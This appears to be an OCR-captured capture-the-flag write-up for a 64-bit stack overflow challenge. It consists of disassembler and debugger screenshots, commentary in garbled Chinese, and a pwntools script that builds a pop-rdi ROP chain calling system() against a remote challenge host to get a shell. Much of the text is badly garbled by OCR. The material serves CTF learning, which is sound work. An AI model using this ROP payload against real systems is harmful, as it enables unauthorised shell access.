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D IDA - pwnd.txt C:\Users\25097\Desktop\pwnd. txt - X
MR SEE(E) BEE() BEREH) WE(V) s EWmOo) 'E0W) EB)
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FEEIR & = 1| _inte4 _ fastcall main(__int64 al, char **a2, char **a3)
[£] _init_prec Linit 0000000000400528 2" o o
| 7] sub_d00550 .plt 0000000000400550 3| char s; // [rsp+oh] [rbp-10h]
Fd| .plt 0000000000400560 4
(7] .plt 0000000000400570 5| memset(&s, 8, Ox10ull);
[£] = -plt 0000000000400580 6| setvbuf(stdout, OLL, 2, OLL);
Fi| = _plt 0000000000400590 7| setvbuf(stdin, OLL, 1, OLL);
|f] ——_1libc_start_main -plt 0000000000400540 8| puts("Come on,try to pwn me");
|f| _setvbuf -plt 0000000000400580 9| read(e, &s, @x30ulLl);
|f| __smon_start__ -plt. got 00000000004005C0 10| puts(“"So~sad,you are fail");
[£] start . text 00000000004005D0 11| return OLL;
[£] sub_400800 - text 0000000000400600 12}
[£] sub_d00830 L text 0000000000400680
| 7] sub_do0880 - text 0000000000400640
[Z] main - text 00000000004006CH
| 7] sub_s00751 . text Q000000000400751
[£]init . text 0000000000400770
[7] fini - text 00000000004007E0
[F] _tern_prec - fini 0000000000400784
[7] puts extern 0000000000601390
|f] systen extern 0000000000601398
[£] menset extern 0000000000601340
[f] read extern 0000000000601348
[f] __libc_start_main extern 0000000000601 3E0
[7] setvbuf extern 0000000000601 388
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CoMMand — CNarTAFersT0  Talled =
Search completed. Found at 0000000000400528. v
Fythen ‘
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N IDA - pwnd.txt C:\Users\25097\Desktop\pwnd. txt - X
THF) EEE BER0) BRH) WEY) RS ATmO0) ®0w) 2B

BHi e+ HHE B I 6 EBOE off off @ oF v F ol X AR > 0 O FEdsE
FE M AR MRS 1 MR 0 ORH O SMEES
7 &xEn o8 x IDA View—h hfE =
EHER B’ ] il RE M FHE
[7] -init_proc .init 0000000000400528 [5]LoAD:000 0000001C € /1ib64/1d-linuz-x86-64, 50.2
[£] sub_400850 Lplt 0000000000400550 [S] LOAD: 000 00000004 € libc.se.6
[£] _puts -plt 0000000000400560 || [s] LOAD:000~ 00000005  C  puts
[f] _systen -plt 0000000000400570 || [s] LOAD:000~ 00000006  C  stdin
[7] _memset -plt 0000000000400580 || ['s] LOAD:000+ 00000007  C  memset
|f] read -plt 0000000000400590 's'| LOAD: 000"+ 00000005 c read
[7] ___libc_start_main .plt 0000000000400540 || 5] LOAD: 000~ 00000007  C  stdout
[f] _setvbuf .plt 0000000000400580 || [ LOAD: 000~ 00000007 € system
[£] —_enon_start__ .plt.got  000000D00D400GCO - 00000008 € setvbuf
7| start - text 00000000004005D0 - 00000012 C  __libc_start_main
7| sub_do0a0o - text 0000000000400600 - 000000OF  C  __gmon_start__
7| sub_d00680 - text 0000000000400680 s 0000000C € GLIEC 2.2.5
[ 7] sub_s00840 . text 0000000000400640 5 . 00000016  C  Come om, try to pwn me
[#] nain . text 00000000004006C6 51 00000014 C 5o are fail
|£] sub_400751 - text 0000000000400751
F|init L text 0000000000400770 00000006 C 337
[7] fini - text 00000000004007E0 [s] . 00000019 C  8TasdnfBO3HF+ry0395fsd)F
7| _tern_proc - fini 0000000000400784 5. + 00000007  C T)#SF)
[7] puts extern 0000000000601390 || 5] . - 00000022 C 49859y O DY)+TFGByas08da76s08d7$0
[£] systen extern 0000000000601398 || 5] . - 00000000 C  sadaDS&*(Ts
[£] menset extern 0000000000601340 || [5] . - 00000016 C BYV#GGTEGFOTRBI08YES
|f|read extern 0000000000601348 | [] . - 00000013 [ ) aBsTdo§sd) D9gf-s)
7| __libc_start_main extern 0000000000601380 || 5] . - 00000022  C  hhhhh, are you finding the binsh?
[ 7] setvbuf extern 0000000000601388 || [5] . + 00000014 € sorrylnothing here!
1. - 00000015 C  23333333333333333333
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Search completed. Found at @000000000400528. v
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EMEIR = P | _rodata:008000000RA0BSOE aSoSadYouAreFai db 'So~sad,you are fail', ~
odata ; DATA XREF: main+7Ato
H [0 winGraph32 - JhE83 | FEE) - ] X lodata:0000000000400822 align 8
JFile View Zoom Move Help odata:0000000000400828 ; char command|[] )
H odata:00POAAE0PALA0S28 command db "okeyou find me,but you can',27h,'t get my shell®,27h,0
He aauf9s OB N odata: 2 ; DATA XREF: sub_400751+410
B A [odata: 0000000000400828 _rodata ends
5| odata: 0000000000100323
5| AD: 4100853 ;
: AD: 0000000000400853
4 AD: 0000000000400853 ; re code
14 AD: 0000000000400853 ; s: Read/Execute
4 I:Dmmand: db “ok~you find me,but you can’,27h, 1 gei my sheH’,Nh,UI AD: 0608000000400853 segment byte public 'CODE' use6d
B AD: 0000000000400853 assume cs:LOAD
= AD: 0000000000400853 sorg 400853h
4 AD: 0002000000400853 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
= AD : 0600000006400853 align 4
| AD:0000000000400853 LOAD ends
= AD: 0000000800400853
4 Lh frame_hdr 4 ;
M Eh_frame_hdr: 0000000000400854
B ph_frame_hdr: 6000000000400854 Pure data
Bl Bh_frame_hdr:0000000000400354 issions: Read
7 Eh_frame_hdr: 0000000000400854 segment dword public *CONST' use64
kh_frame_hdr: 0000000000400854 assume cs:_eh_frame_hdr
Eh_frame_hdr: 0000000000400354 ;org 400854h
ph_frame_hdr:0000000000400854 unk_400854 db 1 ; DATA XREF: LOA
Eh_frame_hdr : 6000008000408855 db  1Bh
Eh_frame_hdr:0000000000400856 db 3
Eh_frame_hdr: 0000000000400857 db 3Bh ; ;
¥ Eh_frame_hdr: 0000000000400858 db 38h ; 8
< > kh frame_hdr:0000000000400359 db o
110.00% (0,0) 2 nodes, 1 edge segments, 0 crossings ph_frame_hdr: 000000000040085A db ]
-eh_frame_hdr: 008000008040085B db (2]
< N .eh_frame_hdr:000000000040035C db 6
® ‘ 00000828 0000000000400828: . rodata:comnand v
714/24 I« >
wHED O & x

arcn completed. Found at 525. z
Command "ChartXrefsFrom” failed v
Fythen |

AT: idle [@T Hift: 1768

KIL0x40075 13X 4> s BAE X — B 77 8, $T974007513F H D%, K I Esystemesi %, HIKISHIERL X —Bersreh,
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root@kali64: ~/3Z#4 /pwn

HEER(S)

libc _write+20>: rax,oxfffffffffffffeeo)

-
--> 0xfad8co000000000a

(
(mov

(push  ris5)
12345678\n")

eax,0x0)

(exee007ffff7fb2500)

(

: exfffffffffffffalc

: 0x246
: (xor

: Oxe
: 0x0
: Bx246 (

0x40073b:
0x400740:
0x400745:
0x40074a:
0x40074T:
0Xx400750:
0x400751:
0x400752:

oxe0007ffff7fb2500)

ebp, ebp)

--> exl

edi, 6x40080¢

eax, 0x0

rbp
rbp,rsp

"12345678\n")
--> Oxa ('\n')
> (push  ri15)
(< libc start main+235>:
0x0
--> 0x96e62f746f6f722fF
0x100040000
(push

, value

0x000060900046074a in 2?2 ()

linux 7 7

EIIEE - o -

XHF)

WIEE) BFEV)

(push

(ret)

: exfffffffffffffalc

: 0x246
: (xor

: Oxe
: 0x0
: Bx246 (

0x400745:
0x40074a:
0x400747:
0Xx400750:
0x400751:

0)(0000609000460750 i
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&3 rdirsi rdx rex r8 rofs
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root@kali64: ~/3Z#4 /pwn

HEER(S)

libc _write+20>: rax,oxfffffffffffffeeo)

--> 0xfad8coe00000000a

ris)
=L (< libc_start main+235>
(exee007ffff7fb2500)
(exeee07ffff7fb2500)

ebp,ebp)
--> exl

__libc_start_main+235>: mov
--> --> Ox96e62f746f6f722f
06x100040000
(push  rbp)
0x0
0xd6b5401f4499dc6d
(xor ebp,ebp)

, value
n ?2? ()

i

,tsystemu #,

il A2 R

&

rex rdx r8 r9 &% 5

=
s
= s

root@kalba: ~/3Ca/pwn
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root@kalba: ~/3Ca/pwn

edi, eax)

edi, eax)

ret Ja Ao 38 B
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AR T BT E A S AR 4, & B Fwriteup 4 FniE, $0 7] LAYE ysystemZ: 4L, daoler0& /2 bin/bash , HAhikf
daoler)LJLtEA & S, FrLAIX /SR A F e 508 1205 3 iisystem($0)

X IDA - pwnd.txt C:\Users\25097\Desktop\pwn.txt - X
SUHF) EEE) BER0) BERAH) WR(V) EsE Emo) s0w) e

HRH e B B ) o T ER dddF-FuX ALERA > 0OFEE RIESIE A

: [Tl e 1 1l 111 -

EE W EAR WS [ OBE D AR S

BHED oe& x IDA View-a [ MmO FHEE0 0 D AtAEHNEL 0 B #haE 0 i a
FEER © e leooeo00c006010CO @20 00 @0 00 00 00 00 00 ©0 @0 00 00 00 00 00 00 ... ~
init proc init 5000000000400525 |[#09G0000006016D0 @0 60 00 00 00 60 00 0O 00 00 0O 00 A0 @0 00 00
“ub_400550 o1t 0000000000400550 |[020P00000RGE1OE0 @0 00 00 0O 0O 0O 00 60 0O 0O 00 8P 60 00 0 00
D plt 10F@ ©9 00 00 00 00 00 @0 90 00 00 00 90 00 @0 00 @ ...
_systen .plt 70 1100 4985y9y ()DY) *YFG
ey plt 1110 8yas08d976508d7
_read -plt 1120 @.sadaDS&* (7s. ..
_libc_start_main plt 1130 ©0 60 00 60 00 60 00 60 00 00 60 @0 00 00 00 08 ...
_setvbuf -plt 1140 ©0 60 00 60 00 60 00 B0 00 00 60 00 60 00 60 00
__gmon_start__ .plt. got 00000000004005C0 [0000000000601150 ©0 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00
start Ltext 0000000000400500  (l9GOPABAAOGEE1168 @O G G0 0O 00 0O 60 00 00 GO 06 60 66 00 0 00
sub_200600 - text 0000000000400600  (a0OEOPAEOBEE1170 @0 0O 08 0O 08 00 08 00 00 00 00 00 00 ...
sub_400650 - text 0000000000400680 l0000EEEEEE601180 28 39 59 2A 47 28 2 6 47 46 20 59 46 38 66 89Y*G(*YFGFOYF8f
sub_200840 - text 0000000000400640 l00A0EG0RRE6A1190 30 38 00 1 73 37 64 30 24 73 64 08yf8.)a8s7d0%s:
tond 00000000004006C6  |lapappeEREA6E11A8 20 44 39 67 66 2D 73 20 00 00 00 00 060 00 60 00 )DIgF-s)........
sub_400751 - text 0000000000400751 | ganan0p0ReGEE11B0 @0 00 00 0@ @9 00 00 0@ 00 @9 00 00 00 60 00 @0 ...
init - text 0000000000400770  {la5000900006611C0 @0 B0 80 0O 08 B0 60 0O 00 60 0O 00 08 @0 80 00
f‘t;‘;m orec ::: gggggﬁgggg:gg;ii 06060006006011D8 00 00 00 00 060 00 00 00 00 00 00 00 00 00 00 00
== : 090800000B6011E0 @0 00 @0 00 00 00 00 0@ ©0 @0 00 @0 00 00 00 00
ot extern  0000000000601390 |, onea00ea0GR11F0 G 08 00 B 00 66 00 66 0O 00 B 00 6O 00 B0 00 ... .
system extern 0000000000601398
ereE P 1380 1200 68 68 68 68 68 2C 20 61 hhhhh, -are-you-f
read gy N0 1210 69 6E 64 69 6E 67 20 74 inding-the-binsh
libe_start main . 1380 1220 3F 60 00 60 00 60 00 6 00 00 60 00 60 @0 00 08 ?..
setvbuf pp— 1388 1230 @0 00 00 60 00 00 00 00 00 00 00 00 00 00 60 00
0908000008601240 @0 00 @0 00 00 00 00 0@ ©0 @0 00 @0 00 00 00 00
080600000B601250 @0 00 00 00 08 00 6 O 00 00 0O 0 00 08 00 00
[000000000601260 00 00 00 6O 00 00 00 60 060 00 00 00 00 00 00 00
0908000008601270 @0 00 @0 00 @0 00 00 0@ ©0 @0 00 @0 00 00 00 00
0608000008601288 73 6F 72 72 79 21 GE 6F 74 68 69 6E 67 28 68 65 sorrylnothing:he
(00000PEEE601290 72 65 21 00 @0 00 00 00 00 00 00 00 00 00 00 00 re! .
09080000086012A8 @0 00 @0 00 00 00 00 0@ ©0 @0 00 00 00 00 00 00
080800000B6012B8 @0 00 00 00 08 00 68 0 00 00 00 00 00 08 00 60
[0000000006012C6 00 00 00 60 00 00 00 60 060 00 00 00 00 00 00 00
09080000086012D8 @0 00 @9 00 00 00 00 0@ ©0 @0 00 00 00 00 00 00
080800000B6A12E0 @0 00 00 00 08 00 68 0 00 00 00 00 00 08 00 60
g 2 12F@ 00 00 00 00 00 00 00 60 06O 00 00 00 60 00 00 00 ...
% | 1300 32 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 2333333333333333
714724 0000111F 000000000060111F: . data:a4985y9yDyTEzdy+1F v
= wtEn o8 x
SEarch completed. round at 578 ~
Command "ChartXrefsFrom” failed v
Fythen | |

M0 FEREFr o B /2 0x60111f

FTLAF A — T

Z AT G AR RS A2
leave
ret

ZJeE AR % A

leave

ret

pop rdi GXAFA)EBkE: 2 J5 A H 1)
ret

TR A

XXX

mainiZ [A[ ik C(ret)
XXX

G IR -

XX

0x4007d3 CretfEfiHutk, HirErets] T pop rdid
0x60111f ($OFTTEMIE, 1EASHLrdD
0x400570 (systemp& H bk
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[f rom pwn import *

< >

sh = remote("114.116.54.89",10004)
O miffE
pop_rdi_ret = 0x4007d3
% U@ |daoler 6 = ox60111f
system _call = 0x40075a
o FER
context(os='linux',arch='amd64',log_level ='debug')
L)
#context (os='linux',arch="amd64')

B msm

& m} |#payload = 74 * 'a* + p32(success_addr)
payload = 'A'*24 + p6a(pop_rdi ret) + p64(daoler_0) + p6a(system call)

D xcis
print (payload)
@ TF# |sh.sendline(payload)

1 &% |sh.interactive()
[ogalie]
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payload/&ix
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